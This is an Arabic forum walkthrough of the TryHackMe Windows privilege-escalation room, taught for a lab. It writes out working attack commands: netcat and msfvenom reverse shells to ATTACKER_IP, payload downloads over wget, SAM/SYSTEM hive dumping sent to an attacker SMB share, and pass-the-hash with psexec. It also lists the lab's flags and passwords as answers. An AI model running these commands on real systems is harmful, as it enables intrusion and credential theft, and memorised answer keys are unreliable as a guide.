






السمعة:
- إنضم17 يونيو 2023
- المشاركات 515
- الحلول 10
- مستوى التفاعل 1,106
- النقاط 93
الـ Privilege Escalation
بعمليات الاختراق لما تفوت على ويندوز بتلاقي حالك مستخدم عادي
المستخدم العادي هاد ما بكون عنده سلطة كبيرة او تحكم كبير بس بقدر يوصل لملفاته ومجلداته بس وما فيه طريقة يعمل مهام إدارية على الجها، يعني ما بتقدر يكون عندك تحكم كامل على الهدف اللي بتستهدفه
الموضوع هاد بحكي عن تقنيات أساسية بتساعد الهاكرز يرتقوا بصلاحياتهم في نظام ويندوز يعني بتقدر تستغل أي دخول مبدئي بمستخدم عادي على الجهاز عشان تطور لحساب مسؤول إذا كان ممكن
راح نركز على النقاط التاليه :
0. الـ انواع للحسابات في ويندوز
1. الـ Unattended Windows Installations
2. الـ Powershell History
3. الـ Saved Windows Credentials
4. الـ Internet Information Services
5. الـ Retrieve Credentials from Software: PuTTY
6. الـ Scheduled Tasks
7. الـ Always Install Elevated
8. الـ Service Control Manager
9. الـ Splinterware System Scheduler
10. الـ Unquoted Service Paths
11. الـ Insecure Service Permissions
12. الـ صلاحيات SeBackup / SeRestore
13. الـ SeTakeOwnership
14. الـ SeImpersonate و SeAssignPrimaryToken
15. الـ Unpatched Software ( البرامج غير المحدثة )
16. الـ Druva inSync 6.6.3
17. Tools of the Trade ( أدوات الفحص )
الاسئله من TryHackMe | Windows Privilege Escalation
0. انواع الحسابات في ويندوز بنظام ويندوز في نوعين من الحسابات للمستخدمين بناء على مستوى صلاحياتهم :
- المسؤولين : هما المستخدمين لديهم أكبر قدر من الصلاحيات بإمكانهم يغييرو أي إعدادات بالنظام والوصول لأي ملف بالنظام
- المستخدمين العاديين : هما المستخدمين اللي عندهم وصول للكمبيوتر لكن بقدرو يعملو مهام محدودة فقط عادةً اللي ما بقدرو يعملو تغييرات دائمة أو أساسية على النظام بس على ملفاتهم الخاصة
وايضا في حسابات مدمجة خاصة بنظام التشغيل:
- SYSTEM / LocalSystem : حساب يستخدمه نظام التشغيل لأداء المهام الداخلية عنده وصول كامل لجميع الملفات والموارد المتاحة على الجهاز بصلاحيات أعلى حتى من المسؤولين
- Local Service : حساب افتراضي يستخدم لتشغيل خدمات ويندوز بصلاحيات "الحد الأدنى" بستخدم اتصالات مجهولة عبر الشبكة
- Network Service : حساب افتراضي يستخدم لتشغيل خدمات ويندوز بصلاحيات "الحد الأدنى" بستخدم اعتمادات الكمبيوتر للمصادقة من خلال الشبكة
هاي الحسابات يتم إنشاؤها وإدارتها بواسطة ويندوز ولن تتمكن من استخدامها كحسابات عادية لكن ببعض الحالات ممكن تحصل على صلاحياتها بسبب استغلال خدمات معينه
المستخدمون الذين يمكنهم تغيير تكوينات النظام هم جزء من أي مجموعة؟
Administrators
يتمتع حساب النظام بامتيازات أكثر من المستخدم المسؤول (aye/nay)
aye
1. الـ Unattended Windows Installations:
لما بدنا نثبت ويندوز على عدد كبير من الأجهزة المشرفين بيستخدموا خدمه توزيع ويندوز ( Unattended Windows Installations ) اللي بتسمح بنسخة ويندوز واحدة تنزل على عدة أجهزة عن طريق الشبكة هاي تعتبر عمليه تثبيت غير مراقبة
يعني الواحد مش لازم يتفاعل معها وبتحتاج استخدام حساب مشرف عشان تعمل الإعداد الأولي اللي قد يتخزن في الجهاز في مكان معين زي :
كود:
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
في الملفات هاي ممكن تلاقي معلومات دخول زي :
كود:
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
2. الـ Powershell History:
كل ما نكتب امر على الـ Powershell الأمر بتخزن بفايل هاد مفيد لما بتحتاج تعيد استخدام أوامر سابقة بسرعة لو حد يشغل أمر بالـ Powershell فيه كلمة سر بعدين بقدر يسترجعها
بأمر من الـ cmd : (عشان نقرأ الفايل من باورشيل لازم نغير %userprofile% لـ $Env:userprofile)
كود:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
كود:
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
لقد تم ترك كلمة مرور لمستخدم julia.jones في سجل Powershell. ما هي كلمة المرور؟
ZuperCkretPa5z
3. الـ Saved Windows Credentials:
بنظام ويندوز في ميزة اسمها Saved Windows Credentials يعني بتتيحلينا نستخدم بيانات تسجيل الدخول خاصه بمستخدمين ثانيين
يعني لما نكتب الامر هاد بعرضلنا قائمة بالبيانات اللي انحفظت على النظام
كود:
cmdkey /list
طبعًا ما رح نشوف كلمات مرور بالتحديد بس لو شفنا أي بيانات مهمة ممكن نجربها
بنقدر نستخدمها بأمر runas مع إضافة الخيار savecred/ زي هيك :
كود:
runas /savecred /user:admin cmd.exe
توجد كلمة مرور محفوظة في بيانات اعتماد Windows الخاصة بك. باستخدام cmdkey وrunas، قم بإنشاء غلاف لـ mike.katz واحصل على العلم من سطح المكتب الخاص به.
THM{WHAT_IS_MY_PASSWORD}
4. الـ Internet Information Services:
إعدادات IIS اللي هي Internet Information Services هاد الويب سيرفر الافتراضي بالويندوز
إعدادات المواقع على الـ IIS بتتخزن بملف اسمه web.config والملف هاد بقدر يحتفظ بكلمات السر لقواعد البيانات أو آليات المصادقة اللي مُعدَّل عليها حسب إصدارة الـ IIS اللي مثبت على الجهاز
بنقدر نلاقي ملف web.config بأحد الأماكن هاي :
كود:
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
في طريقة سريعة للبحث عن الـ database connection strings في الملف بنكتب الأمر هاد :
كود:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
خادم الويب قيد التشغيل على المضيف البعيد. ابحث عن أي كلمة مرور مثيرة للاهتمام في ملفات web.config المرتبطة بـ IIS. ما هي كلمة المرور للمستخدم db_admin؟
098n0x35skjD3
5. الـ Retrieve Credentials from Software: PuTTY:
هو برنامج للشبكات بويندوز
بنستخدمه عشان ندخل على الـ SSH
بتساعدك عشان ما تحتاج تكتب كل مرة الـ IP واسم المستخدم وهيك بتقدر تحفظ إعدادات الجلسات يعني بعد ما تعمل اتصال مرة بتقدر تخليه يتذكرها
بس للأسف الـ PuTTY ما بحفظ كلمات السر الخاصة بالـ SSH بس بخزن إعدادات البروكسي اللي فيها المعلومات التحقق من الهوية
عشان نوصل للمعلومات هاي بندور بالريجستري بالويندوز بالمسار هاد:
كود:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
الـ Simon Tatham هو اللي صاحب البرنامج PuTTY بعد ما ننفذ الأمر هاد بنشوف اسم المستخدم للبروكسي اللي حفظته
مش بس PuTTY اللي بتحفظ كلمات السر أي برنامج ثاني بخزن كلمات السر زي المتصفحات وبرامج الإيميل والـ FTP والـ SSH وحتى البرامج اللي بتسمحلك بالتحكم عن بعد زي VNC بتقدر تجيب كلمات السر بطرق مختلفة
استرجع كلمة المرور المحفوظة المخزنة في جلسة PuTTY المحفوظة ضمن ملفك الشخصي. ما هي كلمة المرور لمستخدم thom.smith؟
CoolPass2021
6. الـ Scheduled Tasks:
يعني تشوف المهام المجدولة على النظام ممكن نلقى مهمة مجدولة ممكن ضاع منها ملف او في ملف ممكن نقدر نتحكم فيه
بنقدر نشوف المهام المجدولة من الكوماند لاين باستخدام الأمر schtasks من غير أي خيارات وعشان نجيب معلومات تفصيلية عن أي مهمة بنقدر نستخدم أمر زي هاد :
كود:
C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName: THM-PC1
TaskName: \vulntask
Task To Run: C:\tasks\schtask.bat
Run As User: taskusr1
بتظهر معلومات كثيرة عن المهمة بس اللي بهمنا هو المتغير Task to Run اللي بوضح اللي بتنفذ من المهمة والمتغير Run As User اللي ببين مستخدم اللي بنفذ المهمة
لو المستخدم الحالي بقدر يعدل أو يغير الملف اللي ينفذه بنقدر نتحكم بشو ينفذ من قبل المستخدم taskusr1 وهيك بكون تطوير بسيط بالصلاحيات
عشان نشيك على صلاحيات الملف بنستخدم icacls :
كود:
C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
مجموعة BUILTIN\Users عندها صلاحية كاملة ( F ) على الملف يعني بنقدر نعدل الملف bat. ونحط فيه أي شي بدنا اياه ممكن نلاقي nc64.exe بالـ C:\tools بنقدر نغير الملف بحيث يعطينا ريفيرس شل :
كود:
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
واكيد بنفتح ليسنر على جهازنا اللي هو المهاجم على نفس المنفذ اللي حددناه لريفيرس شل :
كود:
nc -lvp 4444
بالمرة الجاية اللي بتشتغل فيها المهمة المجدولة بيجينا ريفيرس شل بصلاحيات المستخدم taskusr1 بالعادة ما بنقدر نشغل المهمة يدوياً في حالة الاختبار الحقيقي وبنتضطر ننتظر لحد ما يشغل المهمة المجدولة
بس بالمثال هون بنقدر نشغلها يدويا عشان يوفرولنا وقت عن طريق الامر التالي
كود:
C:\> schtasks /run /tn vulntask
وبيجينا ريفيرس شل بصلاحيات taskusr1 زي ما توقعنا :
كود:
user@attackerpc$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
wprivesc1\taskusr1
ما هي taskusr1 flag ؟
THM{TASK_COMPLETED}
7. الـ Always Install Elevated:
ملفات التثبيت الخاصة بويندوز (المعروفة بـ msi files. ) تستخدم لتثبيت برامج على النظام
عادةً بتشتغل بصلاحيات المستخدم اللي بدأها بس بنقدر نعدلها عشان تشتغل بصلاحيات أعلى حتى لو كنت مستخدم عادي وطبعا هاد ممكن يسمحلك تولد ملف msi. يشتغل بصلاحيات الأدمن
هاي الطريقة بتحتاج قيمتين بالريجستري بتقدر تشيك عليهم من الكوماند لاين بالأوامر اللي تحت :
كود:
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
عشان نستفيد من الثغرة هاي لازم يكون الاثنين مضبوطين وإلا ما رح تقدر تستغل الثغرة لو هما مضبوطين بتقدر تولد ملف msi. باستخدام msfvenom زي ما في الأمر :
كود:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
عشان هذا ريفيرس شل لازم تشغل موديول الـ handler بـ Metasploit مضبوط بناءً على الريفيرس شل زي ما شرحت سابقا
لما تنقل الملف اللي سويته بتشغل المثبت بالأمر التالي وبيجيك اتصال من الريفيرس شل :
كود:
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
8. الـ Service Control Manager:
عننا خدمات ويندوز دايماً تحت الرقابة عندها يعني في خدمة اسمها Service Control Manager اللي هي مسؤوله عن إدارة حالة الخدمات وبتشيك على وضع كل خدمة
كل خدمة بالويندوز عندها ملف تنفيذي مرتبط معاها اللي بشغلها Service Control Manager
مهم جداً تعرف إن الملف التنفيذي للخدمة لازم يكون فيه وظائف خاصة عشان يتواصل مع Service Control Manager فـ مش أي ملف يمكن يتشغل كخدمة
وكل خدمة بتحدد حساب المستخدم اللي بتشتغل تحته
عشان نفهم أكثر خلينا نشوف مثال على خدمة اسمها apphostsvc باستخدام أمر sc qc :
كود:
C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: apphostsvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Application Host Helper Service
DEPENDENCIES :
SERVICE_START_NAME : localSystem
هون مبين الملف التنفيذي للخدمة محدد بالمتغير BINARY_PATH_NAME
والحساب اللي بشتغل تحته بتظهر بالمتغير SERVICE_START_NAME
كل خدمة فيها قائمة تحكم وصول اسمها Discretionary Access Control List بتحدد مين اللي عنده إذن يشغل و يوقف و يوقف مؤقت و يشوف الحالة و يشوف الإعدادات أو يعدل عليها وغيرها من الصلاحيات.
القائمة هاي بتقدر تشوفها من برنامج اسمه Process Hacker اللي موجود على سطح المكتب :

في مجلد فرعي لكل خدمة بالنظام بنشوف الملف التنفيذي المرتبط بالقيمة ImagePath والحساب المستخدم لبدء الخدمة على قيمة ObjectName
لو كان في قائمة تحكم وصول للخدمة بتتخزن بمجلد فرعي اسمه Security كمان بس المسؤولين بقدروا يعدلوا على القيم هاي بالريجستري بشكل طبيعي
9. الـ Splinterware System Scheduler:
اذا كان في ملف قابل للتنفيذ مرتبط "بخدمه معينه" الاذونات اللي فيها ضعيفه بنقدر نعدلها او نستبدلها عشان نرفع ريفيرس شل
أول اشي بنستخدم أمر عشان نشوف إعدادات الخدمة بواسطة الأمر sc
كود:
C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcuser1
بيين عننا الخدمه WindowsScheduler بتشتغل تلقائي واسم الحساب الخاص فيها هو svcuser1/.
وأن الملف القابل للتنفيذ المرتبط بالخدمة موجود في C:\Progra~2\System~1\WService.exe
بعدها بنشوف الصلاحيات على الملف التنفيذي الخاص بالخدمة بواسطة الأمر icacls
وبطلعلنا إن مجموعة الـ Everyone عندها صلاحيات تعديل ( modify ) على الملف يعني أي حد ممكن يعدل عليه
كود:
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
ممكن نستغل هاي الثغرة عن طريق msfvenom عشان نولد ملف ونرفعه على جهاز الضحيه عن طريق ويب سيرفر بنعمله ببايثون
كود:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
user@attackerpc$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
بعدها بننزل الملف اللي عملناه على جهاز الضحيه عن طريق السيرفر اللي فتحناه
كود:
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
بعدها بنستبدل الملف التنفيذي الأصلي للخدمة بالملف التنفيذي اللي عملناه احنا
كود:
C:\> cd C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
Successfully processed 1 files.
وبعد هيك اكيد بنفتح ليسنر عشان جينا اتصال من جهاز الضحية
كود:
user@attackerpc$ nc -lvp 4445
اخر اشي بنعيد تشغيل الخدمة ولو كنت باختبار اختراق بدك تستنا تشتغل الخدمة تلقائي بس بالتحدي هون اعطوك صلاحيات عشان تقدر تعيد تشغيل الخدمة لحالك وتوفّر وقتك
كود:
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler
واكيد راح يجينا اتصال بصلاحيات الحساب اللي اسمه svcusr1
كود:
user@attackerpc$ nc -lvp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
wprivesc1\svcusr1
احصل على الـ flag على سطح مكتب svcusr1
THM{AT_YOUR_SERVICE}
10. الـ Unquoted Service Paths:
اذا ما قدرنا نكتب مباشرة بملفات الخدمات زي قبل ممكن يكون في فرصة لإجبار الخدمة تشغل ملفات تنفيذية عشوائية
لما بنشتغل مع خدمات الويندوز بحصل سلوك معين جدًا لو الخدمة تم اعدادها لتشغل ملف تنفيذي unquoted يعني بدون اقتباس
يعني مسار الملف التنفيذي المرتبط بالخدمة المعينة مش محطوط بشكل صحيح بحيث يعتبر الفراغات في الأمر
مثلا خلينا نشوف الفرق بين خدمتين (هاد فقط مثال وممكن ما يكون موجود بجهازك)
الخدمة الأولى بتستخدم اقتباس صحيح عشان تضمن إن الإدارة الها تشغل الملف التنفيذي المشير له بـ C:\Program Files\RealVNC\VNC Server\vncserver.exe بعد هيك البارامترات اللي معطاه :
وهسا نشوف خدمة مع اقتباس صحيح :
كود:
C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: vncserver
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VNC Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
معلومة: في باورشيل بستخدم sc كـ اختصار لـ Set-Content عشان هيك لازم نستخدم sc.exe عشان نتحكم بالخدمات إذا كننا بـ باورشيل
وهسا نشوف خدمة ثانية بدون اقتباس صحيح :
كود:
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2
لما النظام يحاول يشغل الملف التنفيذي المرتبط بالخدمة بحصل مشكلة لأنو في فراغات باسم مجلد Disk Sorter Enterprise الأمر غامض شوي والنظام مش عارف بالضبط أي اشي من اللي تحتاج تشغل :
Command | Argument 1 | Argument 2 |
---|---|---|
C:\MyPrograms\Disk.exe | Sorter | Enterprise\bin\disksrs.exe |
C:\MyPrograms\Disk Sorter.exe | Enterprise\bin\disksrs.exe | |
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe |
هاد الموضوع اله علاقة بطريقة تحليل الامر عادةً لما تبعث أمر
الفراغات بتستخدم كفاصل بين الوسائط اذا ما كانت موجوده بين الـ " "
هاد يعني التفسير "الصحيح" للأمر اللي مش محطوطله اقتباس هو تشغيل C:\MyPrograms\Disk.exe واستخدام الباقي كوسائط
بدل ما يفشل النظام بحاول يساعد المستخدم وببدأ يدور على كل الملفات التنفيذية بالترتيب الموضح في الجدول :
اول اشي
- بدور على C:\MyPrograms\Disk.exe لو موجود الخدمة بتشغل الملف هاد , لو مش موجود
- بدور على C:\MyPrograms\Disk Sorter.exe لو موجود الخدمة بتشغل الملف هاد , لو مش موجود
- بدور على C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe الخيار هاد متوقع ينجح وعادة يتم تشغيله بالتثبيت الافتراضي , من هذا التصرف بينلنا انو لو المهاجم عمل أي من الملفات التنفيذية اللي النظام بدور عليها قبل الملف التنفيذي المتوقع بأمكاننا نجبر الخدمة تشغل ملف تنفيذي عشوائي
معظم ملفات الخدمات بتتثبت تحت C:\Program Files أو C:\Program Files (x86) بشكل افتراضي واللي مش ممكن تتكتب فيه من مستخدمين ما معهم صلاحيات هاد بمنع أي خدمة ضعيفة من التعرض للاستغلال
بس في استثناءات للقاعدة هاي : - بعض برامج التثبيت بتغير الصلاحيات على المجلدات المثبتة اللي بتخلي الخدمات عرضة للخطر - المشرف ممكن يقرر يثبت ملفات الخدمة في مسار غير الافتراضي لو المسار هاد كان ممكن نكتب فيه من أي مستخدم فالثغرة ممكن تستغل
في حالتنا المشرف ثبت ملفات Disk Sorter تحت c:\MyPrograms بشكل افتراضي هاد برث صلاحيات C:\ directory اللي بتسمح لأي مستخدم بإنشاء ملفات ومجلدات فيه ممكن نتأكد من هاد باستخدام icacls :
كود:
C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
مجموعة BUILTIN\Users فيها امتيازات AD و WD اللي بتسمح للمستخدم بإنشاء مجلدات فرعية وملفات على التوالي
عملية إنشاء payload exe-service باستخدام msfvenom ونقلها إلى الجهاز المستهدف هي نفسها اللي عملناها قبل
بمجرد ما يكون الـ payload بالخادم بننقلها لأي مكان قد يحدث فيه تسلل بهاي الحالة بننقل الـ payload لـ C:\MyPrograms\Disk.exe وبنمنح Everyone أذونات كاملة على الملف عشان نتأكد انه يتم تشغيله بواسطة الخدمة :
كود:
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
Successfully processed 1 files.
بمجرد إعادة تشغيل الخدمة بيجينا اتصال :
كود:
C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"
هيك بنحصل على ريفيرس شل بصلاحيات svcusr2 :
كود:
user@attackerpc$ nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
wprivesc1\svcusr2
احصل على الـ flag على سطح مكتب svcusr2
THM{QUOTES_EVERYWHERE}
11. الـ Insecure Service Permissions:
لو فيه خدمة على الجهاز وبتكون إعداداتها مظبوطة ومكان ملف التشغيل (binary path) تاعها مكتوب صح ممكن تستفيد منها بشكل غير متوقع
لو الخدمة نفسها (مش الملف التنفيذي تاعها) مسموحلك تعدل إعداداتها بتقدر تغيرها وتشير لأي ملف تنفيذي ثاني وتشغله بأي حساب بدك اياه حتى لو كان حساب SYSTEM اللي هو أعلى صلاحية بالنظام
عشان تتأكد من إعدادات الخدمة (DACL) باستخدام سطر الأوامر
ممكن نستخدم أداة Accesschk من مجموعة Sysinternals بنلاقي نسخة منها موجودة بالـ C:\tools والأمر اللي بنستخدمه عشان نتأكد من إعدادات خدمة معينة اسمه thmservice هو :
كود:
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS
الجزء هاد معناه إن مجموعة المستخدمين العاديين (BUILTIN\Users) عندهم تصريح كامل للخدمة (SERVICE_ALL_ACCESS) يعني أي مستخدم بقدر يعيد تكوين الخدمة
بنبني ريفيرس شل زي ما تعلمنا سابقا
وبنشغل الـ listener :
كود:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe
user@attackerpc$ nc -lvp 4447
بننقل الملف التنفيذي لجهاز الضحية وبنحطه بـ C:\Users\thm-unpriv\rev-svc3.exe بنستخدم wget عشان ننقل الملف للمكان اللي بدنا اياه وبعدين لازم نعطي صلاحيات للجميع (Everyone) لتشغيل الملف :
كود:
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
كود:
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
اكيد ممكن نستخدم أي حساب لتشغيل الخدمة احنا اخترنا LocalSystem عشان هو أعلى حساب صلاحية
عشان نشغل الملف التنفيذي لازم نعيد تشغيل الخدمة :
كود:
C:\> sc stop THMService
C:\> sc start THMService
بنرجع للمستمع وبنشوف الاتصال بنظام الضحية بصلاحيات SYSTEM :
كود:
user@attackerpc$ nc -lvp 4447
Listening on 0.0.0.0 4447
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
NT AUTHORITY\SYSTEM
كود:
whoami /priv
قائمة كاملة بالصلاحيات المتاحة على أنظمة الويندوز بتقدر تلاقيها هون

Privilege Constants (Winnt.h) - Win32 apps
Privileges determine the type of system operations that a user account can perform. An administrator assigns privileges to user and group accounts. Each users privileges include those granted to the user and to the groups to which the user belongs.
learn.microsoft.com
بالنسبة للمهاجمين اللي بهمهم بس هي الصلاحيات اللي بتخليهم يقدروا يسيطروا على النظام
قائمة بالصلاحيات اللي ممكن تُستغل موجودة في مشروع Priv2Admin على Github بالرابط التالي
GitHub - gtworek/Priv2Admin: Exploitation paths allowing you to (mis)use the Windows Privileges to elevate your rights within the OS.
Exploitation paths allowing you to (mis)use the Windows Privileges to elevate your rights within the OS. - gtworek/Priv2Admin
12. الـ صلاحيات SeBackup / SeRestore:
الصلاحيات هاي بتسمح للمستخدمين بقراءة وكتابة أي ملف بالنظام بدون أي إجراءات حماية (DACL) الفكرة من الصلاحيات هاي إنها بتسمح لبعض المستخدمين يعملوا نسخ احتياطية من النظام بدون ما يحتاجوا صلاحيات إدارية كاملةبامتلاك الصلاحيه هاي المهاجم بقدر يرفع صلاحيته بالنظام بسهولة باستخدام تقنيات كتير هون راح نشوف طريقة عبارة عن نسخ ملفات تسجيل النظام (SAM و SYSTEM) لاستخراج كلمة مرور الـ Administrator's
الحساب هاد جزء من مجموعة Backup Operators اللي عندهم بشكل افتراضي صلاحيات SeBackup وSeRestore بنفتح موجه الأوامر باستخدام خيار Open as administrator عشان نقدر نستخدم الصلاحيات هاي

بعد ما نفتح الـ cmd عشان نتاكد من الصلاحيات بنستخدم الامر :
كود:
whoami /priv
بعطينا اشي زي هيك
كود:
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
عشان ننسخ ملفات SAM و SYSTEM بنستخدم الأوامر هاي :
كود:
C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.
C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.
هيك بنتج ملفين فيهم محتوى تسجيل النظام بنقدر ننقل الملفات هاي لجهاز المهاجم باستخدام SMB أو أي طريقة ثانية
للـ SMB بنقدر نستخدم impacket's smbserver.py لبدء خادم SMB بسيط بمشاركة الشبكة بالدليل الحالي لجهاز المهاجم :
كود:
user@attackerpc$ mkdir share
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
هاد بعمل مشاركة اسمها public بتشير لدليل المشاركة وبتحتاج اسم المستخدم وكلمة المرور بعد هيك بنقدر نستخدم النسخ بجهاز الويندوز لنقل الملفين لجهاز المهاجم :
كود:
copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\
ونستخدم impacket لاستخراج كلمات مرور المستخدمين :
كود:
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
بطلعلنا اشي زي هيك
كود:
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
بنقدر نستخدم الهاش الخاص بالـ Administrator لعمل هجوم Pass-the-Hash والدخول للجهاز المستهدف بصلاحيات النظام (SYSTEM):
كود:
user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP
هيك بنكون دخلنا على النظام
كود:
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
13. الـ SeTakeOwnership:
ميزة SeTakeOwnership بتسمح للمستخدم إنه ياخذ ملكية أي اشيء بالنظام زي الملفات ومفاتيح التسجيل وهاد بفتح فرص كبيرة للمهاجمين عشان يرفعو صلاحياتهمزي مثلاً لما ندور على خدمة شغالة بنظام SYSTEM ونوخذ ملكية الملف التنفيذي تاعها
بنفتح موجه الأوامر باستخدام خيار Open as administrator عشان نقدر نستخدم الصلاحيات هاي
